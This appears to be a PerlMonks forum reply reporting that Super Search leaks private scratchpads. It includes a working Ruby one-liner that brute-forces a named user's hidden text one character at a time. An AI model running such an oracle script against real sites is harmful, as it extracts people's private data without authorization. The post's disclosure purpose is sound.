http://qs1969.pair.com?node_id=363597


in reply to Super Search searches scratchpads which are not public

You can use this feature to find out the full text of the private scratchpad.

For example, if you want to know what follows "vec" in princepawn's scratchpad, you super-search the scratchpad for "veca", "vecb", ... putting each character after vec. This is very slow, so don't do it unless you really need to. It also sucks because the search is case-sensitive.

I tried this just to test that it works. It turns out that princepawn's scratchpad contains "$vector, 1, rand(2" (some letters may be ucased): super-search proves it.

I did the search with a little script that tries every character automatically (some think there are 2**31 characters). To find out the next character, just try (Update: readmored code)

time ruby -we 'STR="$vector, 1, rand(2";require"net/http";require"cgi" +; conn=Net::HTTP.new("www.perlmonks.org"); (?\ ..?~).each do|k|(?A..? +Z)===k and next; str=CGI.escape(STR+k.chr+"``1"); post= "displaytype= +raw;node_id=3989;n0=0;BIT=#{str};BIS=``1;BH=0;go=search;xa=0;a=prince +pawn;nf=1;xs=1;Wi=1;Tu=1;M=1;D=1;U=1;Ob=1;Po=1;MR=1;CU=1;Cr=1;BR=1;CC +=1;Sn=1;pPd=1;CQ=1;N=1;pFn=1;CA=1;Q=1;pFq=1;Hlp=1;Pol=1;xr=0;re=N"; r +es="";conn.post "/",post, Hash["User-Agent"=>"node363597","Content-Ty +pe"=>"application/x-www-form-urlencoded"],res;if res !~/\bFinished se +arching\b|\bsearching remaining\b/i; puts"failed";puts res;elsif res= +~/\bnode_id=358697\b/;puts str;end;end;'

Beware, this takes some time to finish. Some guesswork can help (I guessed that "or" would follow "vact").